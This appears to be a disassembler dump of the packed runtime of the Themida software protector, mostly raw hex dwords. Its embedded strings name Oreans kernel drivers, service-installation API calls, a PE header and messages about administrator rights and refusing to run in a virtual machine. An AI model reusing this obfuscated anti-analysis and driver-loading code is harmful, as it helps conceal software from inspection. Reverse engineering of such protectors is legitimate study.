6A0605ABh dd 0B4858D04h, 500605ABh, 6A046Ah, 0AB9C858Dh, 0FF500605h dd 5ABB0B5h, 4195FF06h, 83060303h, 31039BDh, 840F0006h dd 0Ch, 0ABB0B5FFh, 95FF0605h, 605ABBCh, 0ABB0B5FFh, 95FF0605h dd 603202Dh, 8960C361h, 5ABB485h, 0B0858D06h, 500605ABh dd 0AB1A858Dh, 68500605h, 80000001h, 0ABC095FFh, 46A0605h dd 0ABB4858Dh, 6A500605h, 8D006A04h, 5ABA385h, 0B5FF5006h dd 605ABB0h, 34195FFh, 0BD830603h, 6031039h, 0C840F00h dd 0FF000000h, 5ABB0B5h, 0BC95FF06h, 0FF0605ABh, 5ABB0B5h dd 2D95FF06h, 61060320h, 85C760C3h, 605ABB4h, 1, 0ABB0858Dh dd 8D500605h, 5AB1A85h, 2685006h, 0FF800000h, 5ABC095h dd 0FC00B06h, 0F84h, 0B485C700h, 605ABh, 0E9000000h, 4Dh dd 858D046Ah, 605ABB4h, 6A046A50h, 2E858D00h, 500605ABh dd 0ABB0B5FFh, 95FF0605h, 6030341h, 840FC00Bh, 0Fh, 0ABB485C7h dd 605h, 0AE90000h, 0C7000000h, 5ABB485h, 106h, 0B0B5FF00h dd 0FF0605ABh, 3202D95h, 858B6106h, 605ABB4h, 858960C3h dd 605ABB4h, 0ABB0858Dh, 8D500605h, 5AB1A85h, 1685006h dd 0FF800000h, 5ABC095h, 8D046A06h, 5ABB485h, 46A5006h dd 858D006Ah, 605AB2Eh, 0B0B5FF50h, 0FF0605ABh, 3034195h dd 39BD8306h, 60310h, 0C840Fh, 0B5FF0000h, 605ABB0h, 0ABBC95FFh dd 0B5FF0605h, 605ABB0h, 202D95FFh, 0C3610603h, 0B4858960h dd 8D0605ABh, 5ABB085h, 858D5006h, 605AB1Ah, 16850h, 95FF8000h dd 605ABC0h, 858D046Ah, 605ABB4h, 6A046A50h, 40858D00h dd 500605ABh, 0ABB0B5FFh, 95FF0605h, 6030341h, 1039BD83h dd 0F000603h, 0C84h, 0B0B5FF00h, 0FF0605ABh, 5ABBC95h dd 0B0B5FF06h, 0FF0605ABh, 3202D95h, 0C6C36106h, 32F3985h dd 7685206h, 0FFADE47Bh, 30175B5h, 0E995FF06h, 8906031Ch dd 5ABC085h, 3985C606h, 5206032Fh, 2E00E568h, 75B5FF90h dd 0FF060301h, 31CE995h, 0BC858906h, 0C60605ABh, 32F3985h dd 35685206h, 0FFB9BF12h, 30175B5h, 0E995FF06h, 8906031Ch dd 3034185h, 3985C606h, 5206032Fh, 78103468h, 75B5FF98h dd 0FF060301h, 31CE995h, 2D858906h, 0C6060320h, 32F3985h dd 0D4685206h, 0FFC005DBh, 30175B5h, 0E995FF06h, 8906031Ch dd 31A4D85h, 0CE806h, 71AB0000h, 2C6F3D86h, 0F7DC7EBAh dd 0B70FC701h, 0C7815FC6h, 5FF4h, 7E9h, 0B237400h, 3B33FA33h dd 11E8DB33h, 2E000000h, 5CA1FC9Ch, 3AE77976h, 4755BC29h dd 0DDE7E204h, 728FB866h, 3B34FF5Ah, 81595851h, 7E9FD3F1h dd 8B665015h, 0E98158D1h, 14DC489Ah, 8870Fh, 800F0000h dd 2, 0E9815A56h, 706B2FE8h, 0DA53E881h, 0C8914C9h, 8E8811Fh dd 666474B0h, 0EB83F18Bh, 0EA816602h, 4B4BB98Bh, 0B6B3B5BAh dd 0A4FB8111h, 0FFFFFA0h, 0FFFFA885h, 5E7DBEFFh, 0EE83962h dd 0B5000000h, 0B13792C7h, 293870C3h, 0B920B102h, 0F5152F1h dd 8Ch, 5F5B5900h, 81D98B66h, 64DBC7h, 33C58A00h, 0DE9D2h dd 0EDF20000h, 5EE64707h, 5BC109A4h, 8B444428h, 810F1734h dd 2, 0C681FA8Ah, 1DF26F0Bh, 74E4BB66h, 7B01F681h, 0ED802018h dd 93C68196h, 5642B80Fh, 58D6DC80h, 8FDF8B56h, 0EE91704h dd 4C000000h, 2FE6C640h, 6E3FB446h, 44CF6205h, 68A0F4Dh dd 81000000h, 0A3119FC1h, 4EA837Dh, 0C890Fh, 880F0000h dd 6, 0C836D181h, 0FA815865h, 0FFFF9C08h, 2A850Fh, 10E80000h dd 0A000000h, 7137297h, 0B70E7A1Dh, 0B5E98B0Ah, 811701A7h dd 354C5CF0h, 1FE95907h, 28000000h, 30D729D7h, 0B70972A5h dd 0FF61E9FCh, 0E4A4FFFFh, 147A6346h, 0D705E53Dh, 0E20752FCh dd 99E97198h, 2F000000h, 63677562h, 6B636568h, 622F0032h dd 68636775h, 6B6365h, 726F662Fh, 75726563h, 622F006Eh dd 68636775h, 666B6365h, 6C6C75h, 6F68732Fh, 646F6377h dd 732F0065h, 63776F68h, 3265646Fh, 6C632F00h, 2F007472h dd 31736964h, 68732F00h, 6E69776Fh, 6E617473h, 2F006563h dd 77746567h, 6174736Ch, 737574h, 676F6C2Fh, 74617473h dd 2F007375h, 706D7564h, 74617473h, 7375h, 2F000000h, 63656863h dd 6F72706Bh, 74636574h, 6E6F69h, 0 dd 0B407BD83h, 0F000605h, 0A84h, 1D85C700h, 1060311h, 0C6000000h dd 32F3985h, 0E0684706h, 8115E3C5h, 0A6AD2404h, 0B5FF7A89h dd 6031359h, 38A7858Dh, 0D0FF0603h, 0F88BD0FFh, 0F223F80h dd 2285h, 22B04700h, 0F9850FAEh, 80FFFFFFh, 840F003Fh dd 31Bh, 3F8047h, 311840Fh, 1EE90000h, 80000000h, 840F003Fh dd 303h, 0F203F80h, 685h, 6E94700h, 47000000h, 0FFFFE2E9h dd 3F80FFh, 5850Fh, 0E0E90000h, 0E9000002h, 1, 203F8047h dd 0FFF6840Fh, 3F80FFFFh, 5850F00h, 0E9000000h, 2C3h, 0AE8h dd 0FFCBE900h, 0B4E9FFFFh, 8D000002h, 5B387B5h, 225E806h dd 0BD030000h, 605B41Ch, 0B41CBD83h, 0F000605h, 0B84h dd 3985C700h, 1060310h, 0C3000000h, 0B392B58Dh, 0FCE80605h dd 3000001h, 5B41CBDh, 1CBD8306h, 605B4h, 0B840Fh, 85C70000h dd 603111Dh, 1, 0BB58DC3h, 0E80605B4h, 1D3h, 0B41CBD03h dd 0BD830605h, 605B41Ch, 0B840F00h, 0C7000000h, 32AAD85h dd 106h, 0B58DC300h, 605B39Ch, 1AAE8h, 1CBD0300h, 830605B4h dd 5B41CBDh, 840F0006h, 0Bh, 111D85C7h, 10603h, 8DC30000h dd 5B3A6B5h, 181E806h, 0BD030000h, 605B41Ch, 0B41CBD83h dd 0F000605h, 1584h, 1D85C700h, 1060311h, 0C7000000h, 3103985h dd 106h, 0B58DC300h, 605B3B4h, 14EE8h, 1CBD0300h, 830605B4h dd 5B41CBDh, 840F0006h, 0Ah, 326D85C7h, 10603h, 0B58D0000h dd 605B3BEh, 126E8h, 1CBD0300h, 830605B4h, 5B41CBDh, 840F0006h dd 0Ah, 326D85C7h, 10603h, 0B58D0000h, 605B3C9h, 0FEE8h dd 1CBD0300h, 830605B4h, 5B41CBDh, 840F0006h, 0Ah, 2CED85C7h dd 10603h, 0B58D0000h, 605B3CFh, 0D6E8h, 1CBD0300h, 830605B4h dd 5B41CBDh, 840F0006h, 0Ah, 13585C7h, 10603h, 0B58D0000h dd 605B3D5h, 0AEE8h, 1CBD0300h, 830605B4h, 5B41CBDh, 840F0006h dd 0Ah, 328585C7h, 10603h, 0B58D0000h, 605B3E3h, 86E8h dd 1CBD0300h, 830605B4h, 5B41CBDh, 840F0006h, 0Ah, 31B985C7h dd 10603h, 0B58D0000h, 605B3F0h, 5EE8h, 1CBD0300h, 830605B4h dd 5B41CBDh, 840F0006h, 0Ah, 37185C7h, 10603h, 0B58D0000h dd 605B3FBh, 36E8h, 1CBD0300h, 830605B4h, 5B41CBDh, 840F0006h dd 0Ah, 1C6585C7h, 10603h, 1E90000h, 47000000h, 0F203F80h dd 984h, 3F8000h, 0FFED850Fh, 60C3FFFFh, 1B9h, 0E9DE8B00h dd 1Ch, 0F003F80h, 585h, 0B900h, 178A0000h, 840F1638h dd 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h, 0FFFFD385h dd 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h, 0A850F20h dd 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h, 0D840Fh, 0F32B0000h dd 0B41CB589h, 0AE90605h, 0C7000000h, 5B41C85h, 6, 8BC36100h dd 20EE9C8h, 43330000h, 6F6E6E61h, 72772074h, 20657469h dd 6165726Fh, 762E736Eh, 0D0A6478h, 656B614Dh, 72757320h dd 68742065h, 74207461h, 20736968h, 656C6966h, 20736920h dd 20746F6Eh, 6E696562h, 73752067h, 62206465h, 6E612079h dd 6568746Fh, 72702072h, 6172676Fh, 2E6Dh, 67h dup(0) dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0) dd 0EFE9h, 3985C600h, 4706032Fh, 0E45B8668h, 59B5FFE3h dd 8D060313h, 338A785h, 68D0FF06h, 104h, 27059D8Dh, 0FF530603h dd 0B58D50D0h, 605B992h, 0C032FE8Bh, 0F9850FAEh, 2BFFFFFFh dd 58CF8BFEh, 0F803FB8Bh, 85C6A4F3h, 6032F39h, 6EFC6843h dd 0B5FFBC8Eh, 6031359h, 38A7858Dh, 0D0FF0603h, 2705B58Dh dd 6A0603h, 8068h, 6A026A00h, 68006A00h, 0C0000000h, 8BD0FF56h dd 3985C6D8h, 5706032Fh, 9BEE5668h, 59B5FFA6h, 8D060313h dd 338A785h, 8DD0FF06h, 32045BDh, 0B88D8D06h, 6A0605BAh dd 0D0685700h, 51000037h, 85D0FF53h, 1B850FC0h, 8D000000h dd 5B79AB5h, 0C3858D06h, 0FF0605A3h, 878D8DD0h, 0B8060372h dd 0 dd 85C6E1FFh, 6032F39h, 4AA76843h, 0B5FFC076h, 6031359h dd 38A7858Dh, 0D0FF0603h, 0C3D0FF53h, 37D0B9h, 0E800h dd 83580000h, 8890EC0h, 2E9h, 0E9C38B00h, 37D0h, 905A4Dh dd 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0B0h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0) dd 454Ch, 0 dd 40002h, 0 dd 38000h, 14h, 4 dup(0) dd 200h, 1C0h, 90h, 0 dd 7Eh, 0 dd 0C4h, 1, 0DCh, 3 dup(0) dd 12Ch, 138h, 2 dup(0) dd 142h, 196h, 1D2h, 0 dd 1D2h, 0 dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0) dd 4000000h, 27C0h, 0 dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h, 110000h dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h dd 10301h, 3, 0 dd 13h dup(70000h), 3C0000h, 70000h, 60010018h, 0AD000727h dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h dd 7279801h, 1016B00h, 2771h, 2EEh dup(0) dword_568568 dd 72h dup(0) ; DATA XREF: Themida_:0055DF27o dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0) aVerpp db 'verPP',0 align 10h a1vsr2vsr3vsr db '1vsR2vsR3vsR',0 align 10h dd 9C3h dup(0) dd 831BE883h, 77309F8h, 8524FFh, 0F8000000h, 0C3h, 8 dup(0) dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h dd 5250580Ch, 5856544Fh, 44445F44h, 42h, 10A9E9h, 56444100h dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0) dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0) aOreansx64_sys db 'oreansx64.sys',0 align 10h dd 0 dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0) dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h dd 6165726Fh, 3233736Eh, 7379732Eh, 49h dup(0) dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h dd 6172676Fh, 2E6Dh, 59h dup(0) dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0) dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0) dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 70580000h, 45746F72h, 746E6576h, 0Bh dup(0) dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch dd 0 dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh dd 68742072h, 65207369h, 726F7272h, 0 dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h dd 656E6968h, 70h dup(0) dd 100000h, 1000000h, 0FEFFFF00h, 17Fh, 100h, 24A00h, 1000000h dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h dd 21h dup(0) dd 0C48B0000h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 75C35141h, 47E2A479h, 316097DBh, 3305585h, 0CE96106h dd 36000000h, 509F138Ah, 307EC688h, 89478082h, 31F3D85h dd 10E906h, 896E0000h, 75DF2FF5h, 0DB105954h, 0EC2C1FEh dd 0C08B10CFh, 0BD83D68Bh, 6031039h, 83097500h, 3111DBDh dd 19740006h, 0C08B5350h, 43DB8h, 75858900h, 8D060317h dd 5B0919Dh, 5BD3FF06h, 1DBD8358h, 60311h, 53501774h, 43DB8h dd 75858900h, 8D060317h, 5AD809Dh, 5BD3FF06h, 55006A58h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0C4F58A1h, 0EFA18127h, 299D8991h, 0E906031Ah, 7, 0D1E09FA3h dd 8B33A64Bh, 0CA1B9C0h, 0C08B16F1h, 2AF9B531h, 0BD830603h dd 6031039h, 83097500h, 3111DBDh, 13740006h, 0C08B5350h dd 0B8h, 339D8D00h, 0FF0605AFh, 83585BD3h, 3111DBDh, 11740006h dd 0B85350h, 8D000000h, 5ADE49Dh, 5BD3FF06h, 60EF8158h dd 0F3C1B8Fh, 680h, 0B98D8B00h, 8B060305h, 0A18D89C0h dd 8B060305h, 39BD83C0h, 60310h, 0BD830975h, 603111Dh dd 50137400h, 0B8C08B53h, 0 dd 0AE659D8Dh, 0D3FF0605h, 0BD83585Bh, 603111Dh, 50117400h dd 0B853h, 9D8D0000h, 605ADB2h, 585BD3FFh, 0EB816660h dd 12E98F03h, 2A000000h, 3263FE6Dh, 0B5DC4400h, 28D221BCh dd 0AEE87B55h, 0C08B61B7h, 0F404BA66h, 8589C08Bh, 60311B1h dd 1039BD83h, 75000603h, 1DBD8309h, 60311h, 53501374h dd 0B8C08Bh, 8D000000h, 5AECC9Dh, 5BD3FF06h, 1DBD8358h dd 60311h, 53501174h, 0B8h, 0CB9D8D00h, 0FF0605ADh, 66585BD3h dd 34F3D281h, 8BFFB70Fh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 4F53CE2h, 0E8D6BF0Fh dd 10h, 0A8D13F5Dh, 5A47FB3Ch, 9E84391Ch, 0E8BB2611h, 0DE8h dd 0EE73B800h, 7763D9E7h, 3AE1C61h, 5A5FDBF9h, 0EE9C08Bh dd 0A3000000h, 52F717BCh, 3C52BB60h, 0F1CD2045h, 39BD83C2h dd 60310h, 0BD830975h, 603111Dh, 50137400h, 0B8C08B53h dd 0 dd 0ADFE9D8Dh, 0D3FF0605h, 0EF81585Bh, 29A4E73h, 11E8h dd 0CBEC00h, 757DF527h, 0F925FBEAh, 8B7871A5h, 958BC507h dd 60324D5h, 6850F5Ah, 9000000h, 322D985h, 80C08B06h, 0C08B29C1h dd 0FE7ABF66h, 1039BD83h, 75000603h, 1DBD8309h, 60311h dd 53501974h, 0D0B8C08Bh, 89000007h, 3177585h, 919D8D06h dd 0FF0605B0h, 83585BD3h, 3111DBDh, 17740006h, 0D0B85350h dd 89000007h, 3177585h, 809D8D06h, 0FF0605ADh, 8B585BD3h dd 301798Dh, 89C08B06h, 32301BDh, 1D958B06h, 0C6060303h dd 32F3985h, 0F515306h, 685AFAB7h, 99395F90h, 0C820Fh dd 7E90000h, 25000000h, 8BAF8A9Ah, 0B5FFB81Ch, 6031359h dd 858DD38Bh, 60338A7h, 0A6D9D89h, 0D0FF0603h, 3890Fh dd 8B660000h, 918589D6h, 0E9060326h, 6, 527555DAh, 85C6CD66h dd 6032F39h, 52066857h, 0EE99004h, 10000000h, 943DFD3Bh dd 2489AFB8h, 88DE0443h, 59B5FF14h, 66060313h, 4F4BF781h dd 38A7858Dh, 0CA8B0603h, 0EA81D0FFh, 3B8FAD6Dh, 3235958Bh dd 85890603h, 6032015h, 0BE665160h, 0E95A771Ch, 6, 0A20C5CF7h dd 8B614B38h, 3011DBDh, 3985C606h, 4306032Fh, 68CB8B66h dd 0BC907028h, 11259501h, 0B5FF0603h, 6031359h, 0D5953160h dd 6106031Fh, 38A7858Dh, 8D8B0603h, 6032FE9h, 0CE9D0FFh dd 0FC000000h, 91BAA1B2h, 2E9CE0B4h, 89139F4Ch, 31D5985h dd 5D952906h, 0C6060330h, 32F3985h, 6E94C06h, 8F000000h dd 0FCB48D44h, 1CE96899h, 6AD9DAh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0A58629C3h, 89DF208h dd 8D8B36DAh, 60321A1h, 0DEB70F60h, 0FF61CA8Bh, 31359B5h dd 89858906h, 8D060306h, 338A785h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0E4E5523Ah dd 0FA6AD361h, 58A0FE4h, 0BA000000h, 6EF04787h, 6AD0FFh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 3B8A6EC3h, 8F0F87CFh, 6, 1F898D01h, 85890603h, 6031B09h dd 2F3985C6h, 89460603h, 33119BDh, 6146806h, 8D0FBADEh dd 6, 0CF59D89h, 0B5FF0603h, 6031359h, 1FAD952Bh, 858D0603h dd 60338A7h, 61B0B460h, 850FD0FFh, 6, 20D98D89h, 85890603h dd 6031D15h, 0D08B6651h, 3985C65Ah, 4706032Fh, 68D0BF0Fh dd 8A0FB5E2h, 22958D29h, 0B5FF0603h, 6031359h, 8E8h, 0B9943C00h dd 0DFB5917Dh, 0CF8166BBh, 8D5FCD68h, 338A785h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 88EB7922h, 6AD0FF9Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0EF2EC350h, 85895A51h dd 6032975h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0F9C35040h, 807E178Dh, 85C646D6h, 6032F39h, 10E847h dd 4BB00000h, 0EC02F2D7h, 85FEAB1h, 4303D88Ch, 8D8B2455h dd 6032DB5h, 0B5F36859h, 9D0983D0h, 6032625h, 1359B5FFh dd 6E90603h, 0EB000000h, 0AA096F40h, 0A7858D20h, 3060338h dd 3120595h, 33D0FF06h, 3022DBDh, 0A4BA6606h, 2185890Ah dd 0E9060326h, 0Ah, 0A165787Bh, 0D94C90EBh, 85C643CAh dd 6032F39h, 53006A77h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0BD89500Dh, 60309B5h, 0A8A3685Ah dd 6AF397h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0D5AED6C3h, 6B47B232h, 0B5FFCCB8h, 6032D11h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 9FC35646h dd 60BA6019h, 8D30932Eh, 338A785h, 84BA6606h, 66D0FF1Ch dd 8589CB8Bh, 6031285h, 85C68CB6h, 6032F39h, 5E847h, 3EDB0000h dd 89A8461Bh, 311458Dh, 0F6685906h, 0B98728FAh, 456DE55Ah dd 1359B5FFh, 0CE80603h, 78000000h, 84EBD571h, 6232A5F0h dd 594570C6h, 38A7858Dh, 5E90603h, 3F000000h, 60047DEAh dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0B9E827C3h, 0BA7AAC3h, 30698589h, 8B660603h dd 3985C6FEh, 4306032Fh, 0B699589h, 0CF8B0603h, 8E6EFC68h dd 29958BBCh, 0F9060329h, 1359B5FFh, 81660603h, 8D8C71D1h dd 338A785h, 31950B06h, 0FF060332h, 9E8D0h, 92B10000h dd 86AF4F71h, 8B5AF053h, 3104D95h, 85895906h, 6031155h dd 1F658501h, 85C60603h, 6032F39h, 83E4B945h, 69684BCAh dd 508E7269h, 6870Fh, 9D890000h, 60322B1h, 59B5FF5Ah, 60060313h dd 6BBDBA66h, 5880Fh, 81660000h, 6101E5D9h, 1F118D8Bh dd 858D0603h, 60338A7h, 0DCB864BAh, 6AD0FF30h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0C184C356h, 0D9816688h, 85892130h, 60320F1h, 8076DA80h dd 85C685E1h, 6032F39h, 6830F44h, 89000000h, 31AB9B5h dd 0EC646806h, 958BB8F2h, 60321FDh, 1359B5FFh, 11E80603h dd 78000000h, 0F74C069Ch, 0F133A71h, 0D1555E79h, 0B79A30E6h dd 29E98166h, 858D5FE6h, 60338A7h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0B6C35545h, 698501BBh, 8B060302h dd 3097DBDh, 89D0FF06h, 3221D85h, 59D8906h, 89060301h dd 303E185h, 0FB8B6606h, 2F3985C6h, 0F430603h, 8Bh, 4AA76800h dd 0BA66C076h, 0BD89D763h, 6032285h, 1359B5FFh, 6A0603h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 3FDBAFC3h, 0C99D8D4Fh, 0A7858DFCh, 0E8060338h, 14h dd 0F3478A22h, 59AD0CBDh, 349D069Fh, 11FF97BDh, 864EE295h dd 43AD75BAh, 0D0FF5966h, 895AF553h, 30AE185h, 5840F06h dd 0BA000000h, 6DA39AB2h, 33D9D89h, 0BD800603h, 605FE7Bh dd 0D5840F00h, 29000000h, 311419Dh, 5D858D06h, 890605FEh dd 3069DB5h, 8B605006h, 32CD99Dh, 6188B106h, 4B1016Ah dd 0BF0F006Ah, 6A006ACBh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0CF08C351h, 5C6FEDEAh dd 81647844h, 2AA1F3CAh, 5995FF4Dh, 6A06031Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 0C102C355h, 0A298D8Bh, 85890603h, 6031341h, 398D2957h dd 5A060329h, 810FFF6Ah, 6, 23A58D89h, 81660603h, 0FF694ADAh dd 31341B5h, 6EEF8106h, 0FF79C6B0h, 3201595h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 84B8F374h, 5B254D6Fh, 0F98B66CCh, 0BE9C08Bh, 0F0000000h dd 717052A7h, 568E2D5Dh, 0BD836EBFh, 6031039h, 83097500h dd 3111DBDh, 19740006h, 0C08B5350h, 7D1B8h, 75858900h dd 8D060317h, 5B0919Dh, 5BD3FF06h, 1DBD8358h, 60311h, 53501774h dd 7D1B8h, 75858900h, 8D060317h, 5AD809Dh, 5BD3FF06h, 57006A58h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0BD858931h, 66060313h, 8BB3EDBFh dd 0E6EF81C0h, 0C646A346h, 32F3985h, 6A4706h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0AC40B2C3h dd 0E9A13104h, 5, 2941C635h, 0F7C168E9h, 0AE993C8h, 0BF000000h dd 96202857h, 96DA68D0h, 59B5FF8Ah, 66060313h, 2A5DEA81h dd 38A7858Dh, 0BA660603h, 0D0FF2C50h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 62C35141h, 638C019Ah, 82716FF8h dd 0F50D38Ah, 583h, 0E1816600h, 858DF467h, 606029Eh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 1C35545h, 85200DBBh dd 6620ED15h, 0D714D781h, 5E9h, 63CE4800h, 0C78182h, 94h dd 10E8h, 58353A00h, 8883B083h, 0B2D23303h, 0AD6ED727h dd 0E99D8993h, 5A060311h, 5DBD8958h, 106031Eh, 3002985h dd 9EB58D06h, 6A060602h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0D6CAC357h, 44E34262h dd 2BC61E91h, 30CC18Dh, 66515606h, 3EA6CA81h, 8BD0FF59h dd 31C41BDh, 9E858D06h, 83060602h, 0F060478h, 1685h, 0E9952900h dd 0C7060303h, 6033285h, 106h, 0C98D8B00h, 83060322h, 31E65BDh dd 850F0006h, 5Dh, 17C58D8Bh, 0BD830603h, 6060332h, 4A850F00h dd 1000000h, 312EDBDh, 7DBD8306h, 6032Ch, 37840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 8C565DC3h, 820Fh, 85C70000h, 6031BB1h, 0 dd 2CF1BD8Bh, 0F6800603h, 0DB8C66C3h, 12E8h, 2FB9C600h dd 0D52D213h, 99FB4ED1h, 0B4E1BDC6h, 